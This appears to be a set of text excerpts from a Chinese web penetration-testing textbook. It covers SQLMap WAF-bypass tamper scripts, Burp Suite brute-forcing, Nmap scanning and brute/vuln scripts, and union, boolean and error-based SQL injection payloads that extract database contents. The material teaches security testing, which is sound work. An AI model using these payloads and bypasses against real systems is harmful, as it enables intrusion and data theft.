    {"text": "使用脚本前的语句为： SELECT id FROM users 使用脚本后，语句为： SELECT/**/id/**/FROM/**/users ● equaltolike.py 作用：将等号替换为like。 使用脚本前的语句为： SELECT * FROM users WHERE id=1 使用脚本后，语句为： SELECT * FROM users WHERE id LIKE 1 ● greatest.py 作用：绕过对“>”的过滤，用GREATEST替换大于号。 使用脚本前的语句为： 1 AND A > B 使用脚本后，语句为： 1 AND GREATEST（A,B+1）=A 测试通过的数据库类型和版本： ● MySQL 4、MySQL 5.0和MySQL 5.5 ● Oracle 10g ● PostgreSQL 8.3、PostgreSQL 8.4和PostgreSQL 9.0 ● ifnull2ifisnull.py 作用：绕过对IFNULL的过滤，替换类似IFNULL（A,B）为IF（ISNULL（A）,B,A）。 使用脚本前的语句为： IFNULL（1,2） 使用脚本后，语句为： IF（ISNULL（1）,2,1） 测试通过的数据库类型和版本为MySQL 5.0和MySQL 5.5。"},
    {"text": "使用脚本前的语句为： 1 AND 9227=9227 使用脚本后，语句为： 1--%0AAND--%0A9227=9227 ● bluecoat.py 作用：在SQL语句之后用有效的随机空白符替换空格符，随后用LIKE替换等于号。"},
    {"text": "使用脚本前的语句为： SELECT id FROM users where id=1 使用脚本后，语句为： SELECT%09id FROM%09users WHERE%09id LIKE 1 测试通过的数据库类型和版本为MySQL 5.1和SGOS。"},
    {"text": "使用脚本前的语句为： UNION ALL SELECT NULL,NULL,CONCAT（CHAR（58,104,116,116,58）,IFNULL（CAST（CURRENT_USER（）AS CHAR）,CHAR（32））,CH/**/AR（58,100,114,117,58））# 使用脚本后，语句为： /*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,CONCAT（CHAR（58,104,116,116,58）,IFNULL（CAST（CURRENT_USER（）/*!AS**!CHAR*/）,CHAR（32））,CHAR（58,100,114,117,58））# ● halfversionedmorekeywords.py 作用：当数据库为MySQL时绕过防火墙，在每个关键字之前添加MySQL版本注释。 使用脚本前的语句为： value' UNION ALL SELECT CONCAT（CHAR（58,107,112,113,58）,IFNULL（CAST （CURRENT_USER（）AS CHAR）,CHAR（32））,CHAR（58,97,110,121,58））,NULL,NULL# AND 'QDWa'='QDWa 使用脚本后，语句为： value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT（/*!0CHAR（58,107,112,113,58）,/*!0IFN ULL（CAST（/*!0CURRENT_USER（）/*!0AS/*!0CHAR）,/*!0CHAR（32））,/*!0CHAR（58,97,110,121,5 8））,/*!0NULL,/*!0NULL#/*!0AND'QDWa'='QDWa 测试通过的数据库类型和版本为MySQL 4.0.18和MySQL 5.0.22。"},
    {"text": "使用脚本前的语句为： 1 AND 9227=9227 使用脚本后，语句为： 1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23 lujYFWfv%0A9227=9227 测试通过的数据库类型和版本为MySQL 5.1.41。"},
    {"text": "使用脚本前的语句为： 1 AND'1'='1 使用脚本后，语句为： 1 AND %00%271%00%27=%00%271 ● appendnullbyte.py 作用：在有效负荷的结束位置加载零字节字符编码。 使用脚本前的语句为： 1 AND 1=1 使用脚本后，语句为： 1 AND 1=1%00 ● chardoubleencode.py 作用：对给定的Payload全部字符使用双重URL编码（不处理已经编码的字符）。"},
    {"text": "使用脚本前的语句为： SELECT FIELD FROM%20TABLE 使用脚本后，语句为： %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%25 4f%254d%2520%2554%2541%2542%254c%2545 ● unmagicquotes.py 作用：用一个多字节组合（%bf%27）和末尾通用注释一起替换空格。 使用脚本前的语句为： 1' AND 1=1 使用脚本后，语句为： 1%bf%27- ● randomcomments.py 作用：用/**/分割SQL关键字。"},
    {"text": "使用脚本前的语句为： INSERT 使用脚本后，语句为： IN/**/S/**/ERT 虽然SQLMap自带的tamper可以做很多事情，但在实际环境中，往往比较复杂，可能会遇到很多情况，tamper不可能很全面地应对各种环境，所以建议读者在学习如何使用自带的tamper的同时，最好能够掌握tamper的编写规则，这样在应对各种实战环境时才能更自如。"},
    {"text": "未知 3.2 Burp Suite详解 3.2.1 Burp Suite的安装 Burp Suite是一款集成化的渗透测试工具，包含了很多功能，可以帮助我们高效地完成对Web应用程序的渗透测试和攻击。 Burp Suite由Java语言编写，基于Java自身的跨平台性，使这款软件学习和使用起来更方便。 Burp Suite不像其他自动化测试工具，它需要手工配置一些参数，触发一些自动化流程，然后才会开始工作。 Burp Suite可执行程序是Java文件类型的jar文件，免费版可以从官网下载。 免费版的Burp Suite会有许多限制，无法使用很多高级工具，如果想使用更多的高级功能，需要付费购买专业版。"},
    {"text": "用百度搜索JDK，选择安装包然后下载即可，打开安装包后单击“下一步”按钮进行安装（安装路径可以自己更改或者采用默认路径）。 提示安装完成后，打开cmd，输入java-version进行查看，若返回版本信息则说明已经正确安装，如图3-18所示。 图3-18 返回版本信息 接下来配置环境变量，右击“计算机”，接着单击“属性”→“高级系统设置”→“环境变量”，然后新建系统变量，在弹出框的“变量名”处输入“JAVA_HOME”，在“变量值”处输入JDK的安装路径，如“C:\\Program Files（x86）\\Java\\jdk1.8.0_112”，然后单击“确定”按钮。 在“系统变量”中找到PATH变量，在“变量值”的最前面加上“%JAVA_HOME%\\bin;”，然后单击“确定”按钮。 在“系统变量”中找到CLASSPATH变量，若不存在则新建这个变量，在“变量值”的最前面加上“.;%JAVA_HOME%\\lib\\dt.jar;%JAVA_HOME%\\lib\\tools.jar;”，然后单击“确定”按钮。 打开cmd，输入javac，若返回帮助信息，如图3-19所示，说明已经正确配置了环境变量。 图3-19 输入javac 下载好的Burp无须安装，直接双击BurpLoader.jar文件即可运行，如图3-20所示。"},
    {"text": "图3-20 运行Burp 3.2.2 Burp Suite入门 Burp Suite代理工具是以拦截代理的方式，拦截所有通过代理的网络流量，如客户端的请求数据、服务器端的返回信息等。 Burp Suite主要拦截HTTP和HTTPS协议的流量，通过拦截，Burp Suite以中间人的方式对客户端的请求数据、服务端的返回信息做各种处理，以达到安全测试的目的。 在日常工作中，最常用的Web客户端就是Web浏览器，我们可以通过设置代理信息，拦截Web浏览器的流量，并对经过Burp Suite代理的流量数据进行处理。"},
    {"text": "Burp Suite运行后，Burp Proxy默认本地代理端口为8080，如图3-21所示。 图3-21 查看默认的代理端口 这里以Firefox浏览器为例，单击浏览器右上角“打开菜单”，依次单击“选项”→“常规”→“网络代理”→“设置”→“手动配置代理”，如图3-22所示，设置HTTP代理为127.0.0.1，端口为8080，与Burp Proxy中的代理一致。 图3-22 设置浏览器的代理信息 1.Proxy Burp Proxy是利用Burp开展测试流程的核心，通过代理模式，可以让我们拦截、查看、修改所有在客户端与服务端之间传输的数据。 Burp Proxy的拦截功能主要由Intercept选项卡中的Forward、Drop、Interception is on/off和Action构成，它们的功能如下所示。"},
    {"text": "● 单击Action按钮，可以将数据包进一步发送到Spider、Scanner、Repeater、Intruder等功能组件做进一步的测试，同时也包含改变数据包请求方式及其body的编码等功能。"},
    {"text": "● Raw主要显示Web请求的raw格式，以纯文本的形式显示数据包，包含请求地址、HTTP协议版本、主机头、浏览器信息、Accept可接受的内容类型、字符集、编码方式、cookie等，可以通过手动修改这些信息，对服务器端进行渗透测试。 ● Params主要显示客户端请求的参数信息，包括GET或者POST请求的参数、cookie参数。"},
    {"text": "图3-23 Proxy的界面 2.Spider Spider的蜘蛛爬行功能可以帮助我们了解系统的结构，其中Spider爬取到的内容将在Target中展示，如图3-24所示，界面左侧为一个主机和目录树，选择具体某一个分支即可查看对应的请求与响应。"},
    {"text": "图3-24 Spider界面 3.Decoder Decoder的功能比较简单，它是Burp中自带的编码解码及散列转换的工具，能对原始数据进行各种编码格式和散列的转换。"},
    {"text": "输入域显示的是需要编码/解码的原始数据，此处可以直接填写或粘贴，也可以通过其他Burp工具上下文菜单中的“Send to Decoder”选项发送过来； 输出域显示的是对输入域中原始数据进行编码/解码的结果。"},
    {"text": "图3-25 Decoder的界面 对编码解码选项而言，目前支持URL、HTML、Base64、ASCII、十六进制、八进制、二进制和GZIP共八种形式的格式转换，Hash散列支持SHA、SHA-224、SHA-256、SHA-384、SHA-512、MD2、MD5格式的转换。"},
    {"text": "然后进入Burp Proxy，关闭代理拦截功能，快速浏览需要扫描的域或URL模块，此时在默认情况下，Burp Scanner会扫描通过代理服务的请求，并对请求的消息进行分析来辨别是否存在系统漏洞。"},
    {"text": "我们随便找一个网站进行测试，选择Burp Target的站点地图选项下的链接，在其链接URL上右击选择“Actively scan this host”，此时会弹出过滤设置，保持默认选项即可扫描整个域，如图3-26所示。 图3-26 选择扫描 也可以在Proxy下的HTTP history中，选择某个节点上的链接URL并右击选择Do an active scan进行扫描，如图3-27所示。 这时，Burp Scanner开始扫描，在Scanner界面下双击即可看到扫描结果，如图3-28所示。"},
    {"text": "图3-27 主动扫描 图3-28 查看扫描结果 我们也可以在扫描结果中选中需要进行分析的部分，将其发送到repeater模块中进行模拟提交分析和验证，如图3-29所示。"},
    {"text": "图3-29 发送到repeater模块 当scanner扫描完成后，可以右击Burp Target站点地图选项下的链接，依次选择“issues”→“Report issues”选项，然后导出漏洞报告，如图3-30所示。 图3-30 导出漏洞报告 然后将漏洞报告以html文件格式保存，结果如图3-31所示。"},
    {"text": "图3-31 扫描结果 通过以上操作步骤我们可以学习到：Burp Scanner主要有主动扫描和被动扫描两种扫描方式。 1.主动扫描（Active Scanning） 当使用主动扫描模式时，Burp会向应用发送新的请求并通过Payload验证漏洞。"},
    {"text": "Burp在检测过程中会采用各个技术验证漏洞是否存在，例如诱导时间延迟、强制修改Boolean值、与模糊测试的结果进行比较，以提高漏洞扫描报告的准确性。 2.被动扫描（Passive Scanning） 当使用被动扫描模式时，Burp不会重新发送新的请求，只是对已经存在的请求和应答进行分析，对服务端的检测来说，这比较安全，通常适用于生产环境的检测。"},
    {"text": "除了对服务端的检测比较安全，当某种业务场景的测试每次都会破坏业务场景的某方面功能时，可以使用被动扫描模式验证是否存在漏洞，以减少测试的风险。"},
    {"text": "3.2.3.2 Intruder Intruder是一个定制的高度可配置的工具，可以对Web应用程序进行自动化攻击，如通过标识符枚举用户名、ID和账户号码，模糊测试，SQL注入，跨站，目录遍历等。"},
    {"text": "在每一次请求中，Intruder通常会携带一个或多个有效攻击载荷（Payload），在不同的位置进行攻击重放，通过应答数据的比对分析获得需要的特征数据。"},
    {"text": "很多输入型的漏洞（如SQL注入、跨站点脚本和文件路径遍历）可以通过请求参数提交各种测试字符串，并分析错误消息和其他异常情况，来对应用程序进行检测。"},
    {"text": "受限于应用程序的大小和复杂性，手动执行这个测试是一个耗时且烦琐的过程，因此可以设置Payload，通过Burp Intruder自动化地对Web应用程序进行模糊测试。"},
    {"text": "下面将演示利用Intruder模块爆破无验证码和次数限制的网站的方法，如图3-32所示，这里使用方法只是为了实验，读者不要将其用于其他非法用途。"},
    {"text": "图3-35 清除标记 然后选择要进行暴力破解的参数值，将pass参数选中，单击“Add$”按钮，这里只对一个参数进行暴力破解，所以攻击类型使用sniper即可，如图3-36所示。 这里要注意的是，如果要同时对用户名和密码进行破解，可以同时选中user和pass参数，并且选择交叉式cluster bomb模式进行暴力破解。"},
    {"text": "可以将目标站点地图、Burp Proxy浏览记录、Burp Intruder的攻击结果，发送到Repeater上，并手动调整这个请求来对漏洞的探测或攻击进行微调。"},
    {"text": "● Params：对于包含参数（URL查询字符串、cookie头或者消息体）的请求，Params选项会把这些参数显示为名字/值的格式，这样就可以简单地对它们进行查看和修改了。 ● Headers：将以名字/值的格式显示HTTP的消息头，并且以原始格式显示消息体。"},
    {"text": "图3-40 发送到Repeater 在Repeater的操作界面中，左边的Request为请求消息区，右边的Response为应答消息区，请求消息区显示的是客户端发送的请求消息的详细信息。"},
    {"text": "当我们编辑完请求消息后，单击“Go”按钮即可发送请求给服务端，如图3-41所示。 图3-41 发送请求 应答消息区显示的是对对应的请求消息单击“GO”按钮后，服务端的反馈消息。"},
    {"text": "图3-42 应答消息区显示服务端的反馈消息 3.2.3.4 Comparer Burp Comparer在Burp Suite中主要提供一个可视化的差异比对功能，来对比分析两次数据之间的区别，使用到的场合有： ● 枚举用户名的过程中，对比分析登录成功和失败时，服务端反馈结果的区别。"},
    {"text": "使用Comparer时有两个步骤，先是数据加载，如图3-43所示，然后是差异分析，如图3-44所示。 图3-43 数据加载 图3-44 差异分析 Comparer数据加载的常用方式如下所示。"},
    {"text": "可以用它测试应用程序的会话令牌（Session token）、密码重置令牌是否可预测等场景，通过Sequencer的数据样本分析，能很好地降低这些关键数据被伪造的风险。"},
    {"text": "● 主机探测：探测网络上的主机，如列出响应TCP和ICMP请求、ICMP请求、开放特别端口的主机。 ● 端口扫描：探测目标主机所开放的端口。 ● 版本检测：探测目标主机的网络服务，判断其服务名称及版本号。 ● 系统检测：探测目标主机的操作系统及网络设备的硬件特性。"},
    {"text": "图3-46 安装Nmap 3.3.2 Nmap入门 3.3.2.1 扫描参数 进入安装目录后，在命令行直接执行Nmap或查看帮助文档（输入nmap--help）将显示Namp的用法及其功能，如图3-47所示。"},
    {"text": "●-PS/PA/PU/PY[portlist]：使用TCP SYN/ACK或SCTP INIT/ECHO方式来发现。 ●-PE/PP/PM：使用ICMP echo、timestamp、netmask请求包发现主机。"},
    {"text": "●-sS/sT/sA/sW/sM：指定使用TCP SYN/Connect（）/ACK/Window/Maimon scans的方式对目标主机进行扫描。 ●-sU：指定使用UDP扫描的方式确定目标主机的UDP端口状况。 ●-sN/sF/sX：指定使用TCP Null/FIN/Xmas scans秘密扫描的方式协助探测对方的TCP端口状态。"},
    {"text": "跟端口参数与扫描顺序的设置相关的参数如下。 ●-p<port ranges>：扫描指定的端口。 ●-F:Fast mode（快速模式），仅扫描TOP 100的端口。 ●-r：不进行端口随机打乱的操作（如无该参数，Nmap会将要扫描的端口以随机顺序的方式进行扫描，让Nmap的扫描不易被对方防火墙检测到）。 ●--top-ports<number>：扫描开放概率最高的number个端口（Nmap的作者曾做过大规模的互联网扫描，以此统计网络上各种端口可能开放的概率，并排列出最有可能开放端口的列表，具体可以参见nmap-services文件。 默认情况下，Nmap会扫描最有可能的1000个TCP端口）。 ●--port-ratio<ratio>：扫描指定频率以上的端口。 与上述--top-ports类似，这里以概率作为参数，概率大于--port-ratio的端口才被扫描。"},
    {"text": "与版本侦测相关的参数如下所示。 ●-sV：指定让Nmap进行版本侦测。 ●--version-intensity<level>：指定版本侦测的强度（0～9），默认为7。"},
    {"text": "在了解以上参数及其含义后，再来看用法会更好理解，扫描命令格式：Nmap+扫描参数+目标地址或网段。 比如一次完整的Nmap扫描命令如下。 nmap-T4-A-v ip 其中-A表示使用进攻性（Aggressive）方式扫描；"},
    {"text": "-T4表示指定扫描过程使用的时序（Timing），共有6个级别（0～5），级别越高，扫描速度越快，但也容易被防火墙或IDS检测并屏蔽掉，在网络通信状况良好的情况下推荐使用T4。"},
    {"text": "1.扫描单个目标地址 在Nmap后面直接添加目标地址即可扫描，如图3-48所示。 nmap 192.168.0.100 图3-48 扫描单个目标地址 2.扫描多个目标地址 如果目标地址不在同一网段，或在同一网段但不连续且数量不多，可以使用该方法进行扫描，如图3-49所示。 nmap 192.168.0.100 192.168.0.105 图3-49 扫描多个目标地址 3.扫描一个范围内的目标地址 可以指定扫描一个连续的网段，中间使用“-”连接，例如，下列命令表示扫描范围为192.168.0.100～192.168.0.110，如图3-50所示。 nmap 192.168.0.100-110 图3-50 扫描一个范围内的目标地址 4.扫描目标地址所在的某个网段 以C段为例，如果目标是一个网段，则可以通过添加子网掩码的方式扫描，下列命令表示扫描范围为192.168.0.1～192.168.0.255，如图3-51所示。 nmap 192.168.0.100/24 图3-51 扫描一个C段目标地址 5.扫描主机列表targets.txt中的所有目标地址 扫描targets.txt中的地址或者网段，此处导入的是绝对路径，如果targets.txt文件与nmap.exe在同一个目录下，则直接引用文件名即可，如图3-52所示。 nmap-iL C:\\Users\\Aerfa\\Desktop\\targets.txt 图3-52 扫描指定文本 6.扫描除某一个目标地址之外的所有目标地址 下列命令表示扫描除192.168.0.105之外的其他192.168.0.x地址，从扫描结果来看确实没有对192.168.0.105进行扫描，如图3-53所示。 nmap 192.168.0.100/24-exclude 192.168.0.105 图3-53 扫描除某一目标地址之外的所有目标地址 7.扫描除某一文件中的目标地址之外的目标地址 下列命令表示扫描除了target.txt文件夹中涉及的地址或网段之外的目标地址。 还是以扫描192.168.0.x网段为例，在targets.txt中添加192.168.0.100和192.168.0.105，从扫描结果来看已经证实该方法有效可用，如图3-54所示。 nmap 192.168.0.100/24-excludefile C:\\Users\\Aerfa\\Desktop\\targets.txt 图3-54 扫描除某一文件中的目标地址之外的目标地址 8.扫描某一目标地址的21、22、23、80端口 如果不需要对目标主机进行全端口扫描，只想探测它是否开放了某一端口，那么使用-p参数指定端口号，将大大提升扫描速度，如图3-55所示。 nmap 192.168.0.100 –p 21,22,23,80 图3-55 扫描指定端口 9.对目标地址进行路由跟踪 下列命令表示对目标地址进行路由跟踪，如图3-56所示。 nmap--traceroute 192.168.0.105 图3-56 对目标地址进行路由跟踪 10.扫描目标地址所在C段的在线状况 下列命令表示扫描目标地址所在C段的在线状况，如图3-57所示。 nmap-sP 192.168.0.100/24 图3-57 扫描目标地址所在C段的在线状况 11.目标地址的操作系统指纹识别 下列命令表示通过指纹识别技术识别目标地址的操作系统的版本，如图3-58所示。 nmap –O 192.168.0.105 图3-58 扫描目标地址的操作系统 12.目标地址提供的服务版本检测 下列命令表示检测目标地址开放的端口对应的服务版本信息，如图3-59所示。 nmap-sV 192.168.0.105 图3-59 检测目标地址开放端口对应的服务版本 13.探测防火墙状态 在实战中，可以利用FIN扫描的方式探测防火墙的状态。"},
    {"text": "nmap-sF –T4 192.168.0.105 图3-60 探测防火墙状态 3.3.2.3 状态识别 Nmap输出的是扫描列表，包括端口号、端口状态、服务名称、服务版本及协议。"},
    {"text": "3.3.3 Nmap进阶 3.3.3.1 脚本介绍 Nmap的脚本默认存在/xx/nmap/scripts文件夹下，如图3-61所示。 图3-61 Nmap的脚本 Nmap的脚本主要分为以下几类。"},
    {"text": "3.3.3.2 常用脚本 用户还可根据需要设置--script=类别进行扫描，常用参数如下所示。 ●-sC/--script=default：使用默认的脚本进行扫描。 ●--script=<Lua scripts>：使用某个脚本进行扫描。"},
    {"text": "●--script-updatedb：在Nmap的scripts目录里有一个script.db文件，该文件保存了当前Nmap可用的脚本，类似于一个小型数据库，如果我们开启Nmap并调用了此参数，则Nmap会自行扫描scripts目录中的扩展脚本，进行数据库更新。 ●--script-help：调用该参数后，Nmap会输出该脚本对应的脚本使用参数，以及详细的介绍信息。"},
    {"text": "3.3.3.3 实例 1.鉴权扫描 使用--script=auth可以对目标主机或目标主机所在的网段进行应用弱口令检测，如图3-62所示。 nmap--script=auth 192.168.0.105 图3-62 鉴权扫描 2.暴力破解攻击 Nmap具有暴力破解的功能，可对数据库、SMB、SNMP等进行简单密码的暴力猜解，如图3-63所示。 nmap--script=brute 192.168.0.105 图3-63 暴力破解攻击 3.扫描常见的漏洞 Nmap具备漏洞扫描的功能，可以检查目标主机或网段是否存在常见的漏洞，如图3-64所示。 nmap--script=vuln 192.168.0.105 图3-64 扫描常见的漏洞 4.应用服务扫描 Nmap具备很多常见应用服务的扫描脚本，例如VNC服务、MySQL服务、Telnet服务、Rsync服务等，此处以VNC服务为例，如图3-65所示。 nmap--script=realvnc-auth-bypass 192.168.0.105 图3-65 应用服务扫描 5.探测局域网内更多服务开启的情况 输入以下命令即可探测局域网内更多服务开启的情况，如图3-66和图3-67所示。 nmap –n –p 445--script=broadcast 192.168.0.105 图3-66 探测局域网内更多服务开启的情况（1） 图3-67 探测局域网内更多服务开启的情况（2） 6.Whois解析 利用第三方的数据库或资源查询目标地址的信息，例如进行Whois解析，如图3-68所示。 nmap-script external baidu.com 图3-68 Whois解析 更多扫描脚本的使用方法可参见https://nmap.org/nsedoc/categories。"},
    {"text": "未知 4.1 SQL注入的基础 4.1.1 介绍SQL注入 SQL注入就是指Web应用程序对用户输入数据的合法性没有判断，前端传入后端的参数是攻击者可控的，并且参数带入数据库查询，攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。"},
    {"text": "一般情况下，开发人员可以使用动态SQL语句创建通用、灵活的应用。 动态SQL语句是在执行过程中构造的，它根据不同的条件产生不同的SQL语句。 当开发人员在运行过程中需要根据不同的查询标准决定提取什么字段（如select语句），或者根据不同的条件选择不同的查询表时，动态地构造SQL语句会非常有用。"},
    {"text": "$query=\"SELECT * FROM users WHERE id=$_GET['id']\"; 由于这里的参数ID可控，且带入数据库查询，所以非法用户可以任意拼接SQL语句进行攻击。"},
    {"text": "当传入的ID参数为and 1=1时，执行的SQL语句如下所示。 select * from users where id=1 and 1=1 因为1=1为真，且where语句中id=1也为真，所以页面会返回与id=1相同的结果。 当传入的ID参数为and 1=2时，由于1=2不成立，所以返回假，页面就会返回与id=1不同的结果。 由此可以初步判断ID参数存在SQL注入漏洞，攻击者可以进一步拼接SQL语句进行攻击，致使数据库信息泄露，甚至进一步获取服务器权限等。 在实际环境中，凡是满足上述两个条件的参数皆可能存在SQL注入漏洞，因此开发者需秉持“外部参数皆不可信的原则”进行开发。 4.1.3 与MySQL注入相关的知识点 在详细介绍SQL注入漏洞前，先说下MySQL中与SQL注入漏洞相关的知识点。"},
    {"text": "在MySQL 5.0版本之后，MySQL默认在数据库中存放一个“information_schema”的数据库，在该库中，读者需要记住三个表名，分别是SCHEMATA、TABLES和COLUMNS。"},
    {"text": "SCHEMATA表存储该用户创建的所有数据库的库名，如图4-1所示。 我们需要记住该表中记录数据库库名的字段名为SCHEMA_NAME。 图4-1 SCHEMTA表 TABLES表存储该用户创建的所有数据库的库名和表名，如图4-2所示。 我们需要记住该表中记录数据库库名和表名的字段名分别为TABLE_SCHEMA和TABLE_NAME。 图4-2 TABLES表 COLUMNS表存储该用户创建的所有数据库的库名、表名和字段名，如图4-3所示。 我们需要记住该表中记录数据库库名、表名和字段名的字段名为TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME。"},
    {"text": "SELECT 要查询的字段名 FROM 库名.表名 在知道一条已知条件时，语句如下所示。 SELECT 要查询的字段名 FROM 库名.表名 WHERE 已知条件的字段名=’已知条件的值’ 在知道两条已知条件时，语句如下所示。 SELECT 要查询的字段名 FROM 库名.表名 WHERE 已知条件1的字段名=’已知条件1的值’AND 已知条件2的字段名=’已知条件2的值’ 2.limit的用法 limit的使用格式为limit m,n，其中m是指记录开始的位置，从0开始，表示第一条记录；"},
    {"text": "例如limit 0,1表示从第一条记录开始，取一条记录，不使用limit和使用limit查询的结果如图4-4和图4-5所示，可以很明显地看出二者的区别。 图4-4 不使用limit时的查询结果 图4-5 使用limit时的查询结果 3.需要记住的几个函数 ● database（）：当前网站使用的数据库。"},
    {"text": "图4-6 访问id=1时页面的结果 在URL后添加一个单引号，再次访问，如图4-7所示，页面返回的结果与id=1的结果不同。 图4-7 访问id=1'时页面的结果 访问id=1 and 1=1，由于and 1=1为真，所以页面应返回与id=1相同的结果，如图4-8所示。 访问id=1 and 1=2，由于and 1=2为假，所以页面应返回与id=1不同的结果，如图4-9所示。 图4-8 访问id=1 and 1=1时页面的结果 图4-9 访问id=1 and 1=2时页面的结果 可以得出该网站可能存在SQL注入漏洞的结论。 接着，使用order by 1-99语句查询该数据表的字段数量，可以理解为order by=1-99，如访问id=1 order by 3，页面返回与id=1相同的结果，如图4-10所示。 访问id=1 order by 4，页面返回与id=1不同的结果，则字段数为3，如图4-11所示。 图4-10 访问id=1 order by 3时页面的结果 图4-11 访问id=1 order by 4时页面的结果 在数据库中查询参数ID对应的内容，然后将数据库的内容输出到页面，由于是将数据输出到页面上的，所以可以使用Union注入，且通过order by查询结果，得到字段数为3，所以Union注入的语句如下所示。 union select 1,2,3 如图4-12所示，可以看到页面成功执行，但没有返回union select的结果，这是由于代码只返回第一条结果，所以union select获取的结果没有输出到页面。 图4-12 访问id=1 union select 1,2,3时页面的结果 可以通过设置参数ID值，让服务端返回union select的结果，例如，把ID的值设置为-1，这样数据库中没有id=-1的数据，所以会返回union select的结果，如图4-13所示。 图4-13 访问id=-1 union select 1,2,3时页面的结果 返回的结果为2﹕3，意味着在union select 1,2,3中，2和3的位置可以输入MySQL语句。 我们尝试在2的位置查询当前数据库名（使用database（）函数），访问id=1 union select 1,database（）,3，页面成功返回了数据库信息，如图4-14所示。 图4-14 利用Union注入获取database（） 得知了数据库库名后，接下来输入以下命令查询表名。 select table_name from information_schema.tables where table_schema='sql' limit 0,1; 尝试在2的位置粘贴语句，这里需要加上括号，结果如图4-15所示，页面返回了数据库的第一个表名。 如果需要看第二个表名，则修改limit中的第一位数字，例如使用limit 1,1就可以获取数据库的第二个表名，如图4-16所示。 图4-15 利用Union注入获取第一个表名 图4-16 利用Union注入获取第二个表名 现在，所有的表名全部查询完毕，已知库名和表名，开始查询字段名，这里以emails表名为例，查询语句如下所示。 select column_name from information_schema.columns where table_schema='sql' and table_name='emails' limit 0,1; 尝试在2的位置粘贴语句，括号还是不可少，结果如图4-17所示，获取了emails表的第一个字段名，通过使用limit 1,1，获取了emails表的第二个字段名，如图4-18所示。 图4-17 利用Union注入获取第一个字段名 图4-18 利用Union注入获取第二个字段名 当获取了库名、表名和字段名时，就可以构造SQL语句查询数据库的数据，例如查询字段email_id对应的数据，构造的SQL语句如下所示。 select email_id from sql.emails limit 0,1; 结果如图4-19所示，页面返回了email_id的第一条数据。 图4-19 利用Union注入获取数据 4.1.5 Union注入代码分析 在Union注入页面中，程序获取GET参数ID，将ID拼接到SQL语句中，在数据库中查询参数ID对应的内容，然后将第一条查询结果中的username和address输出到页面，由于是将数据输出到页面上的，所以可以利用Union语句查询其他数据，代码如下。 当访问id=1 union select 1,2,3时，执行的SQL语句为： select * from users where `id`=1 union select 1,2,3 此时SQL语句可以分为select*from users where`id`=1和union select 1,2,3两条，利用第二条语句（Union查询）就可以获取数据库中的数据。"},
    {"text": "图4-20 访问id=1时页面的结果 在URL后添加一个单引号，再次访问，发现返回结果由yes变成no，如图4-21所示。 图4-21 访问id=1 '时页面的结果 访问id=1'and 1=1%23,id=1'and 1=2%23，发现返回的结果分别是yes和no，更改ID的值，发现返回的仍然是yes或者no，由此可判断，页面只返回yes或no，而没有返回数据库中的数据，所以此处不可使用Union注入。"},
    {"text": "此处可以尝试利用Boolean注入，Boolean注入是指构造SQL判断语句，通过查看页面的返回结果来推测哪些SQL判断条件是成立的，以此获取数据库中的数据。"},
    {"text": "' and length（database（））>=1--+ 有单引号，所以需要注释符来注释。 1的位置上可以是任意数字，如’and length （database（））>=3--+和’and length（database（））>=4--+，我们可以构造这样的语句，然后观察页面的返回结果，如图4-22～图4-24所示。"},
    {"text": "图4-22 判断数据库库名的长度（1） 图4-23 判断数据库库名的长度（2） 图4-24 判断数据库库名的长度（3） 然后可以发现当数值为3时，返回的结果是yes；"},
    {"text": "逐字符判断的SQL语句为： ' and substr（database（）,1,1）='t'--+ substr是截取的意思，其意思是截取database（）的值，从第一个字符开始，每次只返回一个。"},
    {"text": "可以使用Burp的爆破功能爆破其中的’t’值，如图4-25所示，发现当值是s时，页面返回yes，其他值均返回no，因此判断数据库库名的第一位为s，如图4-26所示。 图4-25 利用substr判断数据库的库名 图4-26 利用Burp爆破数据库库名 其实还可以使用ASCII码的字符进行查询，s的ASCII码是115，而在MySQL中，ASCII转换的函数为ord，则逐字符判断的SQL语句应改为如下所示。 ' and ord（substr（database（）,1,1））=115--+ 结果如图4-27所示，返回的结果是yes。 图4-27 利用ord判断数据库库名 从Union注入中我们已经知道，数据库名是ꞌ sqlꞌ，因此判断第二位字母是否是q，可以使用以下语句。 ' and substr（database（）,2,1）='q'--+ 结果如图4-28所示，返回的结果是yes。 图4-28 利用substr判断数据库的库名 查询表名、字段名的语句也应粘贴在database（）的位置，从Union注入中已经知道数据库’sql’的第一个表名是emails，第一个字母应当是e，判断语句如下所示。 'and substr（（select table_name from information_schema.tables where table_schema='sql' limit 0,1）,1,1）='e'--+ 结果如图4-29所示，我们的结论是正确的，依此类推，就可以查询出所有的表名与字段名。 图4-29 利用substr判断数据库的表名 4.1.7 Boolean注入代码分析 在Boolean注入页面中程序先获取GET参数ID，通过preg_match判断其中是否存在union/sleep/benchmark等危险字符。"},
    {"text": "然后将参数ID拼接到SQL语句，从数据库中查询，如果有结果，则返回yes，否则返回no。 当访问该页面时，代码根据数据库查询结果返回yes或no，而不返回数据库中的任何数据，所以页面上只会显示yes或no，代码如下所示。 当访问id=1'or 1=1%23时，数据库执行的语句为select*from users where`id`='1' or 1=1#，由于or 1=1是永真条件，所以此时页面肯定会返回yes。 当访问id=1'and 1=2%23时，数据库执行的语句为select*from users where`id`='1'and 1=2#，由于and '1'='2’是永假条件，所以此时页面肯定会返回no。"},
    {"text": "4.1.8 报错注入攻击 报销注入攻击的测试地址：http://www.ccctf.cn/sql/error.php?username=1。 首先访问http://www.ccctf.cn/sql/error.php?username=1'，因为参数username的值是1'，在数据库中执行SQL时，会因为多了一个单引号而报错，输出到页面的结果如图4-30所示。 图4-30 访问id=1'时页面的结果 通过页面返回结果可以看出，程序直接将错误信息输出到了页面上，所以此处可以利用报错注入获取数据。 报错注入有多种格式，此处利用函数updatexml（）演示SQL语句获取user（）的值，SQL语句如下所示。 ' and updatexml（1,concat（0x7e,（select user（））,0x7e）,1）--+ 其中0x7e是ASCII编码，解码结果为～，如图4-31所示。 图4-31 利用updatexml获取user（） 然后尝试获取当前数据库的库名，如图4-32所示，语句如下所示。 ' and updatexml（1,concat（0x7e,（select database（））,0x7e）,1）--+ 图4-32 利用updatexml获取database（） 接着可以利用select语句继续获取数据库中的库名、表名和字段名，查询语句与Union注入的相同。"},
